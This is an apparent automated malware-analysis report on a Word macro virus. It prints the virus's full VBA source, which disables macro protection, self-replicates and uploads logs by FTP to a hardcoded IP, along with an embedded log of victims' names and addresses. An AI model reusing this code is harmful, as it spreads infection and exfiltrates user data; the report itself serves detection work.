Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45d02c96c55ebcef…

MALICIOUS

Office (OLE)

47.0 KB Created: 2008-02-29 19:45:00 Authoring application: Microsoft Word 10.0 First seen: 2015-06-23
MD5: 2c79709f01607e8babb85869f3805709 SHA-1: 797db16332459957f087371b7ebe8da1e6f0cced SHA-256: 45d02c96c55ebcef130ebf311e548314c89af4881ec542bc3e6b550bbb9f46ed
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols

The sample contains VBA macros that disable macro security and attempt to replicate themselves. The macro also contains logic to download a second-stage payload from the hardcoded IP address '209.201.88.110' using FTP commands. The document body presents a quiz about the Persian Empire, likely as a lure to encourage users to enable macros.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6236 bytes
SHA-256: ddc712378a4c061a46cc69943d4ca6caef6c8be0db0dc5340fbb73d6a780ce38
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next I

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'



' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'



' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'



' 12:49:03 PM - Saturday, 9 Jan 1999
' Mona Sowisky
' CSC Healthcare
' One Embarcadero, Suite 2800
' San Francisco, CA 94111



' 10:30:59 PM - Sunday, 10 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019



' 09:25:05 PM - Monday, 11 Jan 1999
' Marge Bayus
'



' 04:50:26 PM - Friday, 15 Jan 1999
' Steve Cheuvront
'



' 08:59:47 AM - Thursday, 21 Jan 1999
' Peggy Sorbera
'



' 12:04:57 PM - Tuesday, 26 Jan 1999
' nasa
'



' 04:50:06 PM - Wednesday, 27 Jan 1999
' Don Bishop
'



' 10:13:16 AM - Tuesday, 2 Feb 1999
' Bill Morison
'



' 02:12:35 PM - Tuesday, 2 Feb 1999
' WS5697
'



' 02:50:36 PM - Friday, 5 Feb 1999
' Raymond Byrne
'



' 04:01:20 PM - Tuesday, 9 Feb 1999
' accounting
'



' 12:07:07 PM - Thursday, 25 Feb 1999
' Duke C. Chung
'



' 12:13:29 PM - Wednesday, 3 Mar 1999
' user
'



' 12:26:53 PM - Tuesday, 9 Mar 1999
' WKS2
' Trea Battisti
' 1001 Transom Drive
' Las Vegas, NV  89128



' 01:33:48 PM - Tuesday, 16 Mar 1999
' Al Zero
'



' 04:42:02 PM - Wednesday, 17 Mar 1999
' Robert Franklin
'



' 12:09:36 PM - Tuesday, 23 Mar 1999
' Carol Carlson
' 56 CONS/CC
' 14100 W EAGLE STREET
' LUKE AFB AZ 85309-1217



' 11:26:57 AM - Wednesday, 24 Mar 1999
' maria woolford
'



' 10:47:43 AM - Monday, 3 May 1999
' maria woolford
'



' 09:33:15 AM - Friday, 4 Jun 1999
' t
' WILSON & WILSON
' 33 Remicks Lane, Kittery, ME  03904



' 12:59:51 PM - Tuesday, 10 Aug 1999
' Sylvia Johnson
'



' 08:49:25 AM - Thursday, 2 Sep 1999
' Alkazin and Associates
'
' 3437 Highland Drive
' Carlsbad, California   92008



' 11:42:08 AM - Monday, 28 Feb 2000
' STEVEN WM BROWN
'



' 03:57:55 PM - Thursday, 22 Jun 2000
' Richard R.Bentley
'



' 06:36:33 AM - Saturday, 22 Jul 2000
' Cynthia Clark
'



' 10:29:38 AM - Monday, 30 Oct 2000
' Cynthia Clark
'



' 07:43:06 AM - Tuesday, 7 Nov 2000
' Alan Pagano
'



' 09:47:26 AM - Tuesday, 6 Feb 2001
' TCL
'



' 04:08:03 PM - Thursday, 22 Feb 2001
' VM
'



' 09:43:34 AM - Friday, 17 Oct 2003
' Computer Wrangler
'